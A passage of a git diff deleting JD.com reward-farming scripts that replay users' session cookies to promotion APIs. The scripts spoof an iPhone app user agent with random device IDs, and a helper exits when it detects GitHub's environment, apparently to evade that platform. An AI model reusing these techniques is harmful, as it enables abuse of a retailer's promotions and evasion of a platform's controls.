"m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_appliances.js b/backUp/jd_appliances.js deleted file mode 100644 index cbd9310..0000000 --- a/backUp/jd_appliances.js +++ /dev/null @@ -1,210 +0,0 @@ -/** - * 执行一次就可以了,最多10个豆子 -cron 54 5 9-15 8 * https://raw.githubusercontent.com/star261/jd/main/scripts/jd_appliances.js - * 不要问我是哪个活动,问了我也不告诉你,我也找不到入口了 - */ -const $ = new Env('家电'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -let cookiesArr = []; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - await getUA(); - $.index = i + 1; - $.cookie = cookiesArr[i]; - $.isLogin = true; - $.nickName = ''; - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - await TotalBean(); - console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await main(); - await $.wait(1000); - } -})().catch((e) => {$.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')}).finally(() => {$.done();}); - -async function main() { - $.activityInfo = {}; - await takePostRequest('index'); - if(JSON.stringify($.activityInfo) === '{}'){ - console.log(`获取活动详情失败`); - return ; - } - await $.wait(500); - await doTask(); -} - -async function doTask(){ - if($.activityInfo.tasksList && $.activityInfo.tasksList.length > 0){ - $.tasksList = $.activityInfo.tasksList; - for (let i = 0; i < $.tasksList.length; i++) { - $.oneTask = $.tasksList[i]; - if($.oneTask.finishNum === 1){ - console.log(`任务:${$.oneTask.taskName},已完成`); - continue; - } - console.log(`任务:${$.oneTask.taskName},去执行`); - await takePostRequest('doTask'); - if($.hotFlag){break;} - await $.wait(5000); - await takePostRequest('getReward'); - await $.wait(500); - } - } -} - -async function takePostRequest(type){ - let body = ''; - switch (type) { - case 'index': - body = `appid=anniversary-celebra&functionId=jd_interaction_prod&body={"apiMapping":"/api/index/index"}&t=${Date.now()}&loginType=2`; - break; - case 'doTask': - body = `appid=anniversary-celebra&functionId=jd_interaction_prod&body={"parentId":"${$.oneTask.parentId}","taskId":"${$.oneTask.taskId}","apiMapping":"/api/task/doTask"}&t=${Date.now()}&loginType=2` - break; - case 'getReward': - body = `appid=anniversary-celebra&functionId=jd_interaction_prod&body={"parentId":"${$.oneTask.parentId}","taskId":"${$.oneTask.taskId}","timeStamp":${$.timeStamp},"apiMapping":"/api/task/getReward"}&t=${Date.now()}&loginType=2`; - break; - default: - console.log(`错误${type}`); - } - let myRequest = getPostRequest(body); - return new Promise(async resolve => { - $.post(myRequest, (err, resp, data) => { - try { - if(data){ - dealReturn(type, data); - }else{ - console.log(`返回空`) - } - } catch (e) { - console.log(data); - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function dealReturn(type, data) { - try { - data = JSON.parse(data); - }catch (e) { - console.log(`执行任务异常`); - console.log(data); - $.runFalag = false; - } - switch (type) { - case 'index': - if(data && data.code === 200){ - $.activityInfo = data.data; - } - break; - case 'doTask': - if(data && data.code === 200){ - $.timeStamp = data.data.timeStamp; - }else{ - $.hotFlag = true; - console.log(JSON.stringify(data)); - } - break; - case 'getReward': - if(data && data.code === 200){ - console.log(`执行成功,获得京豆:${data.data.jbean || 0}`) - }else{ - console.log(JSON.stringify(data)); - } - break; - default: - console.log(JSON.stringify(data)); - } -} -function getPostRequest(body) { - let url = `https://api.m.jd.com/api`; - const headers = { - 'Accept' : `application/json, text/plain, */*`, - 'Origin' : `https://welfare.m.jd.com`, - 'Accept-Encoding' : `gzip, deflate, br`, - 'Cookie': $.cookie, - 'Content-Type' : `application/x-www-form-urlencoded`, - 'Host' : `api.m.jd.com`, - 'Connection' : `keep-alive`, - 'User-Agent':$.UA, - 'Referer' : `https://welfare.m.jd.com/`, - 'Accept-Language' : `zh-cn` - }; - return {url: url, headers: headers,body:body}; -} -async function getUA(){ - $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/3364463029;appBuild/167764;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` -} -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": $.cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_bean_change.js b/backUp/jd_bean_change.js deleted file mode 100644 index 6fae2b7..0000000 --- a/backUp/jd_bean_change.js +++ /dev/null @@ -1,2446 +0,0 @@ -/* -cron "30 21 * * *" jd_bean_change.js, tag:资产变化强化版by-ccwav - */ - -//详细说明参考 https://github.com/ccwav/QLScript2. - -// prettier-ignore -!function (t, e) { "object" == typeof exports ? module.exports = exports = e() : "function" == typeof define && define.amd ? define([], e) : t.CryptoJS = e() }(this, function () { var h, t, e, r, i, n, f, o, s, c, a, l, d, m, x, b, H, z, A, u, p, _, v, y, g, B, w, k, S, C, D, E, R, M, F, P, W, O, I, U, K, X, L, j, N, T, q, Z, V, G, J, $, Q, Y, tt, et, rt, it, nt, ot, st, ct, at, ht, lt, ft, dt, ut, pt, _t, vt, yt, gt, Bt, wt, kt, St, bt = bt || function (l) { var t; if ("undefined" != typeof window && window.crypto && (t = window.crypto), !t && "undefined" != typeof window && window.msCrypto && (t = window.msCrypto), !t && "undefined" != typeof global && global.crypto && (t = global.crypto), !t && "function" == typeof require) try { t = require("crypto") } catch (t) { } function i() { if (t) { if ("function" == typeof t.getRandomValues) try { return t.getRandomValues(new Uint32Array(1))[0] } catch (t) { } if ("function" == typeof t.randomBytes) try { return t.randomBytes(4).readInt32LE() } catch (t) { } } throw new Error("Native crypto module could not be used to get secure random number.") } var r = Object.create || function (t) { var e; return n.prototype = t, e = new n, n.prototype = null, e }; function n() { } var e = {}, o = e.lib = {}, s = o.Base = { extend: function (t) { var e = r(this); return t && e.mixIn(t), e.hasOwnProperty("init") && this.init !== e.init || (e.init = function () { e.$super.init.apply(this, arguments) }), (e.init.prototype = e).$super = this, e }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var e in t) t.hasOwnProperty(e) && (this[e] = t[e]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } }, f = o.WordArray = s.extend({ init: function (t, e) { t = this.words = t || [], this.sigBytes = null != e ? e : 4 * t.length }, toString: function (t) { return (t || a).stringify(this) }, concat: function (t) { var e = this.words, r = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255; e[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (o = 0; o < n; o += 4)e[i + o >>> 2] = r[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var t = this.words, e = this.sigBytes; t[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, t.length = l.ceil(e / 4) }, clone: function () { var t = s.clone.call(this); return t.words = this.words.slice(0), t }, random: function (t) { for (var e = [], r = 0; r < t; r += 4)e.push(i()); return new f.init(e, t) } }), c = e.enc = {}, a = c.Hex = { stringify: function (t) { for (var e = t.words, r = t.sigBytes, i = [], n = 0; n < r; n++) { var o = e[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var e = t.length, r = [], i = 0; i < e; i += 2)r[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new f.init(r, e / 2) } }, h = c.Latin1 = { stringify: function (t) { for (var e = t.words, r = t.sigBytes, i = [], n = 0; n < r; n++) { var o = e[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var e = t.length, r = [], i = 0; i < e; i++)r[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new f.init(r, e) } }, d = c.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, u = o.BufferedBlockAlgorithm = s.extend({ reset: function () { this._data = new f.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = d.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (t) { var e, r = this._data, i = r.words, n = r.sigBytes, o = this.blockSize, s = n / (4 * o), c = (s = t ? l.ceil(s) : l.max((0 | s) - this._minBufferSize, 0)) * o, a = l.min(4 * c, n); if (c) { for (var h = 0; h < c; h += o)this._doProcessBlock(i, h); e = i.splice(0, c), r.sigBytes -= a } return new f.init(e, a) }, clone: function () { var t = s.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), p = (o.Hasher = u.extend({ cfg: s.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { u.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { return t && this._append(t), this._doFinalize() }, blockSize: 16, _createHelper: function (r) { return function (t, e) { return new r.init(e).finalize(t) } }, _createHmacHelper: function (r) { return function (t, e) { return new p.HMAC.init(r, e).finalize(t) } } }), e.algo = {}); return e }(Math); function mt(t, e, r) { return t ^ e ^ r } function xt(t, e, r) { return t & e | ~t & r } function Ht(t, e, r) { return (t | ~e) ^ r } function zt(t, e, r) { return t & r | e & ~r } function At(t, e, r) { return t ^ (e | ~r) } function Ct(t, e) { return t << e | t >>> 32 - e } function Dt(t, e, r, i) { var n, o = this._iv; o ? (n = o.slice(0), this._iv = void 0) : n = this._prevBlock, i.encryptBlock(n, 0); for (var s = 0; s < r; s++)t[e + s] ^= n[s] } function Et(t) { if (255 == (t >> 24 & 255)) { var e = t >> 16 & 255, r = t >> 8 & 255, i = 255 & t; 255 === e ? (e = 0, 255 === r ? (r = 0, 255 === i ? i = 0 : ++i) : ++r) : ++e, t = 0, t += e << 16, t += r << 8, t += i } else t += 1 << 24; return t } function Rt() { for (var t = this._X, e = this._C, r = 0; r < 8; r++)ft[r] = e[r]; e[0] = e[0] + 1295307597 + this._b | 0, e[1] = e[1] + 3545052371 + (e[0] >>> 0 < ft[0] >>> 0 ? 1 : 0) | 0, e[2] = e[2] + 886263092 + (e[1] >>> 0 < ft[1] >>> 0 ? 1 : 0) | 0, e[3] = e[3] + 1295307597 + (e[2] >>> 0 < ft[2] >>> 0 ? 1 : 0) | 0, e[4] = e[4] + 3545052371 + (e[3] >>> 0 < ft[3] >>> 0 ? 1 : 0) | 0, e[5] = e[5] + 886263092 + (e[4] >>> 0 < ft[4] >>> 0 ? 1 : 0) | 0, e[6] = e[6] + 1295307597 + (e[5] >>> 0 < ft[5] >>> 0 ? 1 : 0) | 0, e[7] = e[7] + 3545052371 + (e[6] >>> 0 < ft[6] >>> 0 ? 1 : 0) | 0, this._b = e[7] >>> 0 < ft[7] >>> 0 ? 1 : 0; for (r = 0; r < 8; r++) { var i = t[r] + e[r], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, c = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); dt[r] = s ^ c } t[0] = dt[0] + (dt[7] << 16 | dt[7] >>> 16) + (dt[6] << 16 | dt[6] >>> 16) | 0, t[1] = dt[1] + (dt[0] << 8 | dt[0] >>> 24) + dt[7] | 0, t[2] = dt[2] + (dt[1] << 16 | dt[1] >>> 16) + (dt[0] << 16 | dt[0] >>> 16) | 0, t[3] = dt[3] + (dt[2] << 8 | dt[2] >>> 24) + dt[1] | 0, t[4] = dt[4] + (dt[3] << 16 | dt[3] >>> 16) + (dt[2] << 16 | dt[2] >>> 16) | 0, t[5] = dt[5] + (dt[4] << 8 | dt[4] >>> 24) + dt[3] | 0, t[6] = dt[6] + (dt[5] << 16 | dt[5] >>> 16) + (dt[4] << 16 | dt[4] >>> 16) | 0, t[7] = dt[7] + (dt[6] << 8 | dt[6] >>> 24) + dt[5] | 0 } function Mt() { for (var t = this._X, e = this._C, r = 0; r < 8; r++)wt[r] = e[r]; e[0] = e[0] + 1295307597 + this._b | 0, e[1] = e[1] + 3545052371 + (e[0] >>> 0 < wt[0] >>> 0 ? 1 : 0) | 0, e[2] = e[2] + 886263092 + (e[1] >>> 0 < wt[1] >>> 0 ? 1 : 0) | 0, e[3] = e[3] + 1295307597 + (e[2] >>> 0 < wt[2] >>> 0 ? 1 : 0) | 0, e[4] = e[4] + 3545052371 + (e[3] >>> 0 < wt[3] >>> 0 ? 1 : 0) | 0, e[5] = e[5] + 886263092 + (e[4] >>> 0 < wt[4] >>> 0 ? 1 : 0) | 0, e[6] = e[6] + 1295307597 + (e[5] >>> 0 < wt[5] >>> 0 ? 1 : 0) | 0, e[7] = e[7] + 3545052371 + (e[6] >>> 0 < wt[6] >>> 0 ? 1 : 0) | 0, this._b = e[7] >>> 0 < wt[7] >>> 0 ? 1 : 0; for (r = 0; r < 8; r++) { var i = t[r] + e[r], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, c = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); kt[r] = s ^ c } t[0] = kt[0] + (kt[7] << 16 | kt[7] >>> 16) + (kt[6] << 16 | kt[6] >>> 16) | 0, t[1] = kt[1] + (kt[0] << 8 | kt[0] >>> 24) + kt[7] | 0, t[2] = kt[2] + (kt[1] << 16 | kt[1] >>> 16) + (kt[0] << 16 | kt[0] >>> 16) | 0, t[3] = kt[3] + (kt[2] << 8 | kt[2] >>> 24) + kt[1] | 0, t[4] = kt[4] + (kt[3] << 16 | kt[3] >>> 16) + (kt[2] << 16 | kt[2] >>> 16) | 0, t[5] = kt[5] + (kt[4] << 8 | kt[4] >>> 24) + kt[3] | 0, t[6] = kt[6] + (kt[5] << 16 | kt[5] >>> 16) + (kt[4] << 16 | kt[4] >>> 16) | 0, t[7] = kt[7] + (kt[6] << 8 | kt[6] >>> 24) + kt[5] | 0 } return h = bt.lib.WordArray, bt.enc.Base64 = { stringify: function (t) { var e = t.words, r = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < r; o += 3)for (var s = (e[o >>> 2] >>> 24 - o % 4 * 8 & 255) << 16 | (e[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255) << 8 | e[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, c = 0; c < 4 && o + .75 * c < r; c++)n.push(i.charAt(s >>> 6 * (3 - c) & 63)); var a = i.charAt(64); if (a) for (; n.length % 4;)n.push(a); return n.join("") }, parse: function (t) { var e = t.length, r = this._map, i = this._reverseMap; if (!i) { i = this._reverseMap = []; for (var n = 0; n < r.length; n++)i[r.charCodeAt(n)] = n } var o = r.charAt(64); if (o) { var s = t.indexOf(o); -1 !== s && (e = s) } return function (t, e, r) { for (var i = [], n = 0, o = 0; o < e; o++)if (o % 4) { var s = r[t.charCodeAt(o - 1)] << o % 4 * 2, c = r[t.charCodeAt(o)] >>> 6 - o % 4 * 2, a = s | c; i[n >>> 2] |= a << 24 - n % 4 * 8, n++ } return h.create(i, n) }(t, e, i) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" }, function (l) { var t = bt, e = t.lib, r = e.WordArray, i = e.Hasher, n = t.algo, H = []; !function () { for (var t = 0; t < 64; t++)H[t] = 4294967296 * l.abs(l.sin(t + 1)) | 0 }(); var o = n.MD5 = i.extend({ _doReset: function () { this._hash = new r.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, e) { for (var r = 0; r < 16; r++) { var i = e + r, n = t[i]; t[i] = 16711935 & (n << 8 | n >>> 24) | 4278255360 & (n << 24 | n >>> 8) } var o = this._hash.words, s = t[e + 0], c = t[e + 1], a = t[e + 2], h = t[e + 3], l = t[e + 4], f = t[e + 5], d = t[e + 6], u = t[e + 7], p = t[e + 8], _ = t[e + 9], v = t[e + 10], y = t[e + 11], g = t[e + 12], B = t[e + 13], w = t[e + 14], k = t[e + 15], S = o[0], m = o[1], x = o[2], b = o[3]; S = z(S, m, x, b, s, 7, H[0]), b = z(b, S, m, x, c, 12, H[1]), x = z(x, b, S, m, a, 17, H[2]), m = z(m, x, b, S, h, 22, H[3]), S = z(S, m, x, b, l, 7, H[4]), b = z(b, S, m, x, f, 12, H[5]), x = z(x, b, S, m, d, 17, H[6]), m = z(m, x, b, S, u, 22, H[7]), S = z(S, m, x, b, p, 7, H[8]), b = z(b, S, m, x, _, 12, H[9]), x = z(x, b, S, m, v, 17, H[10]), m = z(m, x, b, S, y, 22, H[11]), S = z(S, m, x, b, g, 7, H[12]), b = z(b, S, m, x, B, 12, H[13]), x = z(x, b, S, m, w, 17, H[14]), S = A(S, m = z(m, x, b, S, k, 22, H[15]), x, b, c, 5, H[16]), b = A(b, S, m, x, d, 9, H[17]), x = A(x, b, S, m, y, 14, H[18]), m = A(m, 